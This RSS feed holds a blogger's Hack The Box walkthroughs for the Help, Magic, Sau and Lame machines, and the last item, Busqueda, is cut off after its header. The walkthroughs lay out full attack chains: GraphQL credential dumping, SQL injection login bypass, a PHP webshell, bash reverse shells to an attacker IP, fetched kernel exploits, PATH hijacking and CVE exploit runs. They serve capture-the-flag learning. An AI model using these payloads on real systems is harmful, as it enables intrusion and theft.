<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cryx on Medium]]></title>
        <description><![CDATA[Stories by Cryx on Medium]]></description>
        <link>https://medium.com/@cryxx?source=rss-f7c6da81ce99------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*s6Zvm8duAhd40zBPj5JggA.jpeg</url>
            <title>Stories by Cryx on Medium</title>
            <link>https://medium.com/@cryxx?source=rss-f7c6da81ce99------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 04:29:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cryxx/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB — Help]]></title>
            <link>https://cryxx.medium.com/htb-help-d70ccce80550?source=rss-f7c6da81ce99------2</link>
            <guid isPermaLink="false">https://medium.com/p/d70ccce80550</guid>
            <category><![CDATA[htb-help]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Cryx]]></dc:creator>
            <pubDate>Sun, 08 Nov 2026 15:09:45 GMT</pubDate>
            <atom:updated>2026-11-08T15:09:45.450Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Reconnaissance</h3><h3>Full port scan</h3><pre>nmap -p- --min-rate 5000 10.129.230.159</pre><p><strong>Result:</strong></p><ul><li>22/tcp — open — SSH</li><li>80/tcp — open — HTTP</li><li>3000/tcp — open — unknown</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDSousLt611Ch8Pa-OcrxQ.png" /></figure><h3>Service/version scan</h3><pre>nmap -A -p 22,80,3000 10.129.230.159</pre><p><strong>Result:</strong></p><p>Port Service Version 22 SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 80 HTTP Apache 2.4.18 (Ubuntu) — default page 3000 HTTP Node.js Express framework — returns JSON</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6BIAHDZ-NOvvse6IwjQg2w.png" /></figure><ul><li>Added help.htb to /etc/hosts</li></ul><h3>2. Web Enumeration</h3><h3>Port 80 — Directory brute-force</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WQ_VUhrSCkISRA8QjwPgw.png" /></figure><pre>feroxbuster -u http://help.htb/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D8EadZLUxv_GlcGc38Op2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0SQ4IeCJwKSqF3RrzSRKyA.png" /></figure><p><strong>Key finds:</strong></p><p>Path Notes /support/ HelpDeskZ helpdesk login portal /support/uploads/ Upload directory /support/includes/language/ Directory listing exposed /support/controllers/admin/ Directory listing exposed /support/controllers/staff/ Directory listing exposed /support/controllers/client/ Directory listing exposed</p><h3>Port 3000 — Curl probe</h3><pre>curl -i http://10.129.230.159:3000</pre><p><strong>Response:</strong></p><pre>{&quot;message&quot;:&quot;Hi Shiv, To get access please find the credentials with given query&quot;}</pre><p>Key observations:</p><ul><li>X-Powered-By: Express → Node.js backend</li><li>The word <strong>“query”</strong> → hint pointing toward a GraphQL API</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1WrjV5cGOvSNbHIknj1IsA.png" /></figure><h3>Port 3000 — Finding the GraphQL endpoint</h3><pre>feroxbuster -u http://10.129.230.159:3000/ -w /usr/share/seclists/Discovery/Web-Content/common.txt</pre><p><strong>Hit:</strong></p><pre>400  GET  1l  3w  18c  http://10.129.230.159:3000/graphql</pre><p>A 400 (Bad Request) instead of 404 (Not Found) means the path exists but is being called incorrectly — classic GraphQL behavior when you GET without a query string.</p><p><strong>Confirm it’s GraphQL:</strong></p><pre>curl -s http://10.129.230.159:3000/graphql<br># → &quot;GET query missing.&quot; ← confirms GraphQL server</pre><h3>3. GraphQL Exploitation — Credential Extraction</h3><h3>Step 1 — Introspection (map the schema)</h3><p>GraphQL servers can self-describe via introspection — send a meta-query (__schema) to list all types and fields:</p><pre>curl -s -X POST http://10.129.230.159:3000/graphql \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;query&quot;:&quot;{__schema{types{name,fields{name}}}}&quot;}&#39;</pre><p><strong>Key schema fields returned:</strong></p><pre>{&quot;name&quot;:&quot;Query&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;user&quot;}]},<br>{&quot;name&quot;:&quot;User&quot;,&quot;fields&quot;:[{&quot;name&quot;:&quot;username&quot;},{&quot;name&quot;:&quot;password&quot;}]}</pre><p>→ A user query exists and returns username + password fields.</p><h3>Step 2 — Query for credentials</h3><pre>curl -X POST http://10.129.230.159:3000/graphql \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;query&quot;:&quot;{ user { username password } }&quot;}&#39;</pre><p><strong>Result:</strong></p><pre>{&quot;username&quot;:&quot;helpme@helpme.com&quot;,&quot;password&quot;:&quot;5d3c93182bb20f07b994a7f617e99cff&quot;}</pre><h3>Step 3 — Crack the MD5 hash</h3><ul><li>32 hex chars = MD5 hash format</li></ul><pre>echo -n &quot;5d3c93182bb20f07b994a7f617e99cff&quot; &gt; hash.txt<br># Note: -n is critical — without it, echo adds a newline making it 33 bytes,<br>#        which breaks hashcat&#39;s token-length validation</pre><pre>hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt<br># -m 0 = raw MD5 mode<br># -a 0 = straight wordlist attack</pre><p>✅ Cracked: <strong>godhelpmeplz</strong></p><p><strong>Full credentials:</strong> helpme@helpme.com : godhelpmeplz</p><h3>4. HelpDeskZ — File Upload RCE</h3><h3>Logging in</h3><ul><li>Portal: <a href="http://help.htb/support/">http://help.htb/support/</a></li><li>Login with: helpme@helpme.com : godhelpmeplz ✅</li></ul><h3>Version fingerprinting</h3><p>Found version info at:</p><ul><li><a href="http://help.htb/support/UPGRADING.txt">http://help.htb/support/UPGRADING.txt</a></li><li><a href="http://help.htb/support/readme.html">http://help.htb/support/readme.html</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KTpJhOgSXud3zUYlDfIZdQ.png" /></figure><p><strong>Version identified: HelpDeskZ 1.0.2</strong></p><blockquote><em>💡 </em><strong><em>How to find app versions without being told (for future boxes):</em></strong></blockquote><ul><li>Check readme.txt, readme.html, CHANGELOG, UPGRADING.txt, VERSION in the app root — many PHP apps include these by default</li><li>Look at the page footer or HTML source for a version string</li><li>Run whatweb http://target — it fingerprints CMS/app versions automatically</li><li>After finding the app name from the page title or headers, search searchsploit &lt;appname&gt; to see which version ranges have public exploits, then confirm which version is running</li></ul><h3>Exploit — Unauthenticated file upload bypass</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhoBejXYSATTfB4yYGTaZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x9ZCR9x7ws1Agvt2jCpJIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gMFZvrcW-kx4j4imC8WK2w.png" /></figure><ul><li><strong>CVE / SearchSploit:</strong> searchsploit helpdeskz → found 40300.py</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_geafWIYmG1kLC4mpRUNxQ.png" /></figure><ul><li>HelpDeskZ 1.0.2 allows uploading .php files via the ticket submission form; the server renames the file using an MD5 of the filename + timestamp — the exploit script brute-forces the upload path using the same logic</li></ul><p><strong>Steps:</strong></p><ol><li>Download a PHP reverse shell (e.g. from pentestmonkey)</li><li>Set up listener:</li></ol><pre>nc -nlvp 4444</pre><ol><li>Upload the .php reverse shell via the <strong>Submit Ticket</strong> page (file attachment field)</li><li>Run the exploit to find the uploaded file path and trigger it:</li></ol><pre>python2 40300.py http://help.htb/support/uploads/tickets/ php-reverse-shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*CPT3joXUcdDG2tT46LwPoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*99UI9ppb0Px599PbYlt8Dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-RjCgBdbyYv9yuFxVc-oTw.png" /></figure><p>✅ Got a shell → captured user flag</p><h3>5. Privilege Escalation — Kernel Exploit</h3><h3>Kernel version check</h3><pre>uname -a</pre><p><strong>Result:</strong> Linux kernel version → vulnerable to <strong>Linux Kernel &lt; 4.4.0–116 (Ubuntu 16.04.4) — Local Privilege Escalation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4fCD6qUuc_QoFB09_wjbcg.png" /></figure><h3>Exploit</h3><pre># On attacker machine — serve the exploit<br>python3 -m http.server</pre><pre># On target machine — fetch, compile, and run<br>wget <a href="http://10.10.15.247:8000/44298.c">http://10.10.15.247:8000/44298.c</a> -O exploit.c<br>cat exploit.c          # sanity check content<br>gcc -o exploit exploit.c<br>./exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4fkJ84k7_3KERDzltPzS4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*42OZBYP_P-5dn7skcMiEXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*G2JxXEOVyoDYAutdMDovfA.png" /></figure><p>✅ Root shell obtained → root flag captured</p><h3>6. Flags</h3><p>Flag Status User ✅ Captured Root ✅ Captured</p><h3>Key Takeaways</h3><ul><li>A JSON banner saying “find the credentials with given query” on a Node/Express port is a soft hint toward GraphQL — but confirm it properly by brute-forcing /graphql with an API-focused wordlist and checking for a 400 (not a 404) response.</li><li>GraphQL introspection being left enabled is a common misconfiguration — always try {&quot;query&quot;:&quot;{__schema{types{name,fields{name}}}}&quot;} before anything else; if the server tells you its own schema, you have an instant map of every query and field available.</li><li>When cracking hashes with hashcat: always use echo -n (no newline) when writing a hash to a file. A stray trailing newline makes the file 33 bytes instead of 32 and causes a &quot;token length exception.&quot;</li><li>For version fingerprinting on web apps: check readme.html, UPGRADING.txt, CHANGELOG, and the page footer before Googling. whatweb and searchsploit are also fast shortcuts — searchsploit &lt;appname&gt; lists known vulnerable version ranges, which helps you know which version matters.</li><li>Kernel exploits (uname -a → SearchSploit or ExploitDB) are reliable on older Linux boxes but risky on production — always check kernel version early in the PrivEsc phase.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d70ccce80550" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Magic]]></title>
            <link>https://cryxx.medium.com/htb-magic-f1dfe00a3f56?source=rss-f7c6da81ce99------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1dfe00a3f56</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-magic]]></category>
            <category><![CDATA[magic]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[Cryx]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 04:53:14 GMT</pubDate>
            <atom:updated>2026-10-27T04:53:14.124Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Reconnaissance</h3><h3>Full port scan</h3><pre>nmap -p- --min-rate 5000 10.129.88.236</pre><p><strong>Result:</strong></p><ul><li>22/tcp — open — SSH</li><li>80/tcp — open — HTTP</li></ul><h3>Service/version scan</h3><pre>nmap -A -p 22,80 10.129.88.236</pre><p><strong>Result:</strong></p><ul><li>22 → OpenSSH 7.6p1 Ubuntu 4ubuntu0.3</li><li>80 → Apache 2.4.29 (Ubuntu)</li><li>Page title: <strong>“Magic Portfolio”</strong></li></ul><h3>2. Web Enumeration &amp; Initial Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbAAUc7WK5xoH9ZSN5l2VQ.png" /></figure><h3>Login page — SQL injection</h3><ul><li>Found: <a href="http://10.129.88.236/login.php">http://10.129.88.236/login.php</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCSmFuz_belMFCPomrCwMQ.png" /></figure><ul><li>Tried SQL injection in the login form → <strong>successfully authenticated</strong> without valid credentials. (‘ or 1=1 — -)</li></ul><h3>Post-login — file upload</h3><ul><li>Found: <a href="http://10.129.88.236/upload.php">http://10.129.88.236/upload.php</a></li><li>Uploaded a test file (test.png) → confirmed upload works</li></ul><h3>Directory brute-force</h3><pre>feroxbuster -u http://10.129.88.236</pre><p><strong>Found:</strong></p><ul><li>/images/</li><li>/assets/</li><li>/assets/js/</li><li>/assets/css/</li><li>/images/uploads/ ← uploaded files land here</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbfxfKWCWhzgo_9CXGTzqg.png" /></figure><h3>Upload filter bypass</h3><ul><li>Server only accepts filenames ending in .jpg, .jpeg, or .png</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbfxfKWCWhzgo_9CXGTzqg.png" /></figure><ul><li><strong>Bypass:</strong> embed a PHP webshell inside a file named with a double extension:</li><li>Payload embedded mid-file: &lt;?php system($_GET[cmd]); ?&gt;</li><li>Filename used: test.php.png</li><li>Apache’s default config still executes the .php portion despite the trailing .png</li></ul><h3>Confirming code execution</h3><ul><li>Visited: <a href="http://10.129.88.236/images/uploads/test.php.png">http://10.129.88.236/images/uploads/test.php.png</a></li><li>PHP executed successfully via the cmd GET parameter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZDBSARB_-YHlLm-0Hl1XNg.png" /></figure><h3>3. Getting a Shell</h3><h3>Listener</h3><pre>nc -nlvp 443</pre><h3>Reverse shell trigger (via webshell)</h3><pre>?cmd=bash -c &#39;bash -i &gt;%26 /dev/tcp/10.10.15.247/443 0&gt;%261&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plimN7EpzUVLpdaDvko0Bw.png" /></figure><p>✅ Got a shell as the web user</p><ul><li>Upgraded to an interactive shell</li></ul><h3>Initial limits</h3><ul><li>user.txt → permission denied (wrong user context)</li><li>sudo -l → prompted for a password (didn&#39;t have one yet)</li></ul><h3>4. Credential Discovery — Web App DB Config</h3><h3>Found config file</h3><ul><li>Path: /var/www/Magic/db.php5</li></ul><pre>private static $dbName = &#39;Magic&#39;;<br>private static $dbHost = &#39;localhost&#39;;<br>private static $dbUsername = &#39;theseus&#39;;<br>private static $dbUserPassword = &#39;iamkingtheseus&#39;;</pre><ul><li>Tried iamkingtheseus with sudo -l → failed (not a sudo/system password, just the DB password)</li></ul><h3>Pulling data out of MySQL without full DB access</h3><ul><li>MySQL client wasn’t installed, and installing it needed admin rights</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*BfFWQFm1a2ZMYltMwNZ3zg.png" /></figure><ul><li>Rather than tunneling to the local-only MySQL port (3306) with something like Chisel, used mysqldump directly — works even as an unprivileged user if DB creds are valid:</li></ul><pre>mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic</pre><p><strong>Result:</strong> dumped the login table:</p><pre>INSERT INTO `login` VALUES (1,&#39;admin&#39;,&#39;Th3s3usW4sK1ng&#39;);</pre><p>→ Recovered a second password: Th3s3usW4sK1ng</p><h3>5. Lateral Movement — theseus user</h3><ul><li>Switched to system user theseus using password: Th3s3usW4sK1ng</li><li>✅ Captured user flag</li></ul><h3>Access checks</h3><pre>cd /root        # → Permission denied<br>sudo -l         # → &quot;Sorry, user theseus may not run sudo on magic.&quot;</pre><h3>6. Privilege Escalation — SUID binary hijack (/bin/sysinfo)</h3><h3>Finding SUID binaries</h3><pre>find / -user root -type f -perm -4000 -ls 2&gt;/dev/null</pre><p><strong>Command breakdown:</strong></p><ul><li>find / — search entire filesystem</li><li>-user root — owned by root</li><li>-type f — regular files only</li><li>-perm -4000 — SUID bit set</li><li>-ls — detailed listing</li><li>2&gt;/dev/null — suppress permission-denied noise</li></ul><p><strong>💡 Why SUID matters:</strong> a SUID binary run with the privileges of its <em>owner</em> (root), regardless of who executes it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oY1oDrH6CQe-zXn5XkGqww.png" /></figure><h3>Target found</h3><ul><li>/bin/sysinfo — unusual binary, restricted to the users group</li><li>theseus is the only member of that group → directly usable</li></ul><h3>Analyzing its behavior</h3><pre>strace /bin/sysinfo<br># or<br>ltrace /bin/sysinfo</pre><p><strong>Key finding:</strong></p><pre>popen(&quot;fdisk -l&quot;, &quot;r&quot;) = 0x55a0c09df280</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ewELu0NpIQBTFnAGrgvPIA.png" /></figure><ul><li>sysinfo calls fdisk (and also lshw, free) <strong>without an absolute path</strong></li><li>This is a classic <strong>PATH hijacking</strong> vulnerability — whatever fdisk resolves to in $PATH gets executed with root privileges</li></ul><h3>Exploiting the PATH hijack</h3><pre>cd /tmp<br>export PATH=&quot;/tmp:$PATH&quot;</pre><pre>echo -e &#39;#!/bin/bash\n\n\nbash -i &gt;&amp; /dev/tcp/10.10.14.4/1234 0&gt;&amp;1&#39; &gt; fdisk<br>chmod +x fdisk</pre><pre># listener on attack box:<br>nc -nlvp 1234</pre><pre># then run:<br>/bin/sysinfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0Aw2ZLMsmbD1cPYIxoygA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GAk7watENmzQAQg4SLd6zw.png" /></figure><ul><li>sysinfo runs as root (SUID) → calls fdisk → resolves to the malicious /tmp/fdisk first (due to modified $PATH) → executes the reverse shell <strong>as root</strong></li></ul><p>✅ Root shell obtained → root flag captured</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YY9gJZaR_VHVy0hgF7KHAA.png" /></figure><h3>7. Flags</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*PtKuIjmnxcx25lgDvhcTXQ.png" /></figure><h3>Key Takeaways</h3><ul><li>Login SQLi is still worth trying first on custom PHP portfolio-style apps — it bypassed auth outright here.</li><li>Upload filters that only check the file <strong>extension</strong> can be beaten with a double extension (shell.php.png) when the server (Apache/PHP misconfig) still hands .php.* files to the PHP interpreter.</li><li>A leaked DB config file is often a password reuse goldmine — even if the DB password itself doesn’t work for sudo/SSH, dumping the app&#39;s own user table can hand you a second, more useful credential.</li><li>mysqldump with just a username/password/host can pull data over a local socket/port without needing a full interactive MySQL client installed — a handy alternative to port-forwarding tools like Chisel when you just need to read, not explore interactively.</li><li>strace/ltrace on a SUID binary is the standard way to spot <strong>relative-path child-process calls</strong> (popen, system, execve without /usr/bin/...) — classic PATH hijack setup: prepend a malicious script with the same name to $PATH before running the SUID binary.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1dfe00a3f56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Sau]]></title>
            <link>https://cryxx.medium.com/htb-sau-b37d35451b20?source=rss-f7c6da81ce99------2</link>
            <guid isPermaLink="false">https://medium.com/p/b37d35451b20</guid>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[saus]]></category>
            <dc:creator><![CDATA[Cryx]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 12:57:31 GMT</pubDate>
            <atom:updated>2026-10-23T12:57:31.396Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Reconnaissance</h3><h3>Full port scan</h3><p>bash</p><pre>nmap -p- --min-rate 5000 10.129.229.26</pre><p><strong>Result:</strong></p><ul><li>22/tcp — open — SSH</li><li>80/tcp — filtered — HTTP</li><li>8338/tcp — filtered — unknown</li><li>55555/tcp — open — unknown</li></ul><h3>Service/version scan</h3><p>bash</p><pre>nmap -A -p 22,80,8338,55555 10.129.229.26</pre><p><strong>Result:</strong></p><p>PortServiceVersion22SSHOpenSSH 8.2p1 Ubuntu 4ubuntu0.780HTTPfiltered8338unknownfiltered55555HTTPGolang net/http server → <strong>“Request Baskets”</strong> web app</p><ul><li>80 and 8338 are filtered from outside — flagged as likely only reachable <strong>internally</strong> (localhost on the box itself), relevant later for pivoting.</li></ul><h3>2. Initial Access — Request Baskets (CVE-2023–27163)</h3><h3>App identification</h3><ul><li>Browsed to <a href="http://10.129.229.26:55555/">http://10.129.229.26:55555</a></li><li>Found: <strong>Powered by request-baskets | Version: 1.2.1</strong></li><li>Created a test basket to confirm app behavior:</li><li>Basket: Rameesh → token zsKcdmFHyQ2BBc42SR9SyKmVJB7NYu3ShwRQjblDBeVR</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MVd8K8qHgHqNRWan8WuLg.png" /></figure><h3>Vulnerability</h3><ul><li>Version 1.2.1 → <strong>CVE-2023–27163</strong> (Request Baskets SSRF — a basket can be configured to forward/proxy requests to an arbitrary internal URL, including internal-only services)</li></ul><p><strong>Reference exploit:</strong> <a href="https://github.com/entr0pie/CVE-2023-27163/blob/main/CVE-2023-27163.sh">https://github.com/entr0pie/CVE-2023-27163/blob/main/CVE-2023-27163.sh</a></p><h3>Exploitation — SSRF pivot to internal port 80</h3><p>bash</p><pre>./CVE-2023-27163.sh http://10.129.229.26:55555 http://127.0.0.1:80</pre><ul><li>Script created a new basket that proxies to the box’s own internal port 80</li><li>Resulting accessible path: <a href="http://10.129.229.26:55555/ypeoic">http://10.129.229.26:55555/ypeoic</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*loA608rnk-ZHgVhdPXwFFg.png" /></figure><h3>Discovery via SSRF</h3><ul><li>Visiting that basket path revealed an internal web app: <strong>Maltrail (v0.53)</strong></li><li>This confirms port 80/filtered from the nmap scan was actually Maltrail, bound to localhost and only reachable through the SSRF proxy.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClkwkAB4eLiQlwdSCzfz8g.png" /></figure><h3>3. Exploitation — Maltrail v0.53 RCE</h3><p><strong>Reference exploit:</strong> <a href="https://github.com/spookier/Maltrail-v0.53-Exploit">https://github.com/spookier/Maltrail-v0.53-Exploit</a></p><h3>Steps</h3><ol><li>Start listener:</li></ol><p>bash</p><pre>nc -nvlp 1337</pre><ol><li>Run exploit, pointing it at the SSRF-proxied Maltrail basket path:</li></ol><p>bash</p><pre>python3 exploit.py 10.10.15.247 1337 http://10.129.229.26:55555/lezhry</pre><p>✅ Got a shell + user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*IUkoT4moDPhLEPx0USxKeQ.png" /></figure><h3>4. Privilege Escalation</h3><h3>Sudo rights check</h3><p>bash</p><pre>sudo -l</pre><p><strong>Result:</strong></p><pre>(root) NOPASSWD: /usr/bin/systemctl status trail.service</pre><h3>Exploiting systemctl status → pager escape</h3><p>bash</p><pre>sudo /usr/bin/systemctl status trail.service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*kVmDtPXnnVzGA9Sf8QkdMw.png" /></figure><ul><li>systemctl status pipes output through less (a pager) when run interactively</li><li>From inside the pager, typed:</li></ul><pre>!sh</pre><ul><li>This spawns a shell <strong>as root</strong>, since the pager inherits the privileges of the process that launched it (root, via sudo)</li></ul><p>✅ Root shell obtained → root flag captured</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*O09khUTuS87Yge-iedu2kA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*O09khUTuS87Yge-iedu2kA.png" /></figure><h3>5. Flags</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/1*Y75fcUq5AJDUTP_yw1eApA.png" /></figure><h3>Key Takeaways</h3><ul><li>A filtered/internal-only port spotted in the initial nmap scan (port 80 here) is a strong hint to look for an <strong>SSRF</strong> vector later — it often turns out to be an internal service reachable only through the vulnerable app itself.</li><li>CVE-2023–27163 (Request Baskets SSRF) is a clean way to proxy arbitrary internal requests through a basket’s forwarding config — useful pattern for similar “basket/webhook relay” style apps.</li><li>Maltrail v0.53 has a known unauthenticated RCE — worth a go whenever you fingerprint it, even from behind an SSRF pivot.</li><li>systemctl status (and other systemd commands) invoking a pager is a classic <strong>GTFOBins-style privesc</strong>: any sudo rule allowing a pager-backed command can usually be escaped with !sh or !bash from inside less.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b37d35451b20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Lame]]></title>
            <link>https://cryxx.medium.com/htb-lame-f0786c268e54?source=rss-f7c6da81ce99------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0786c268e54</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[lame]]></category>
            <dc:creator><![CDATA[Cryx]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 17:08:00 GMT</pubDate>
            <atom:updated>2026-10-22T17:08:00.119Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Reconnaissance</h3><h3>Full port scan</h3><p>bash</p><pre>nmap -p- --min-rate 5000 10.129.87.55</pre><p><strong>Result:</strong></p><ul><li>21/tcp — open — FTP</li><li>22/tcp — open — SSH</li><li>139/tcp — open — netbios-ssn</li><li>445/tcp — open — microsoft-ds</li><li>3632/tcp — open — distccd</li></ul><h3>Service/version scan</h3><p>bash</p><pre>nmap -A -p 21,22,139,445,3632 10.129.87.55</pre><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*aEZyrJEF_N5TC-iM24Ofqw.png" /></figure><p>Additional SMB info:</p><ul><li>Computer name: lame</li><li>Domain: hackthebox.gr</li><li>Message signing: disabled</li><li>Clock skew noted (~2h) — environment artifact, not exploited</li></ul><h3>2. Service-by-Service Triage</h3><h3>FTP — port 21</h3><ul><li>vsftpd 2.3.4, anonymous login allowed → logged in, nothing of interest found</li><li>Version is associated with <strong>CVE-2011–2523</strong> (the well-known vsftpd 2.3.4 backdoor)</li><li>Attempted exploitation → no result this time (backdoor trigger didn’t yield a shell)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rihCZ61YfynefofTR7hzkQ.png" /></figure><h3>Samba — ports 139/445</h3><p>Two relevant CVEs identified for the two different Samba version bands reported:</p><ul><li>139/tcp (Samba 3.X–4.X) → <strong>CVE-2017-7494</strong> (SambaCry — RCE via writable share)</li><li>445/tcp (Samba 3.0.20-Debian) → <strong>CVE-2007-2447</strong> (usermap_script — remote command injection via username field)</li></ul><h3>3. Exploitation — CVE-2007–2447 (Samba usermap_script)</h3><p><strong>Reference exploit:</strong> <a href="https://github.com/amriunix/CVE-2007-2447">https://github.com/amriunix/CVE-2007-2447</a></p><h3>Steps</h3><ol><li>Cloned/downloaded the exploit script from the repo above (usermap_script.py)</li><li>Set up a listener and ran:</li></ol><p>bash</p><pre>python usermap_script.py &lt;RHOST&gt; &lt;RPORT&gt; &lt;LHOST&gt; &lt;LPORT&gt;</pre><ol><li>✅ Got a shell — and it came back as <strong>root</strong> directly (no privesc needed)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*uX2yEV6jTiLmUyjqx9MsfQ.png" /></figure><h3>Flag capture</h3><p>bash</p><pre>find . -name user.txt -exec cat {} \;<br>find . -name root.txt -exec cat {} \;</pre><p>✅ Both flags retrieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*mugm_HPjvvRlxTuCPuDSvA.png" /></figure><h3>4. Flags</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*VZ5-Z6QGc8AB0_NHgs5ETg.png" /></figure><h3>Key Takeaways</h3><ul><li>Always version-match <strong>every</strong> open port separately — Lame reports two different Samba version bands on 139 vs 445, each pointing to a different CVE.</li><li>CVE-2007–2447 (usermap_script) exploits a flaw in Samba&#39;s username map script config option, injecting shell metacharacters into the login username — no authentication required, and it drops straight into a root shell since smbd ran as root here.</li><li>vsftpd 2.3.4’s known backdoor (CVE-2011–2523) is a classic “check it even if it looks unlikely” — it didn’t pay off this time, which is a normal outcome, not a dead end worth dwelling on.</li><li>A fast root like this is typical of older/legacy boxes — worth noting technique over difficulty for your own review later.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0786c268e54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB-Busqueda]]></title>
            <link>https://cryxx.medium.com/htb-busqueda-de46c234082a?source=rss-f7c6da81ce99------2</link>
            <guid isPermaLink="false">https://medium.com/p/de46c234082a</guid>
            <category><![CDATA[busqueda]]></category>
            <dc:creator><![CDATA[Cryx]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 10:15:15 GMT</pubDate>
            <atom:updated>2026-10-22T10:15:15.429Z</atom:updated>
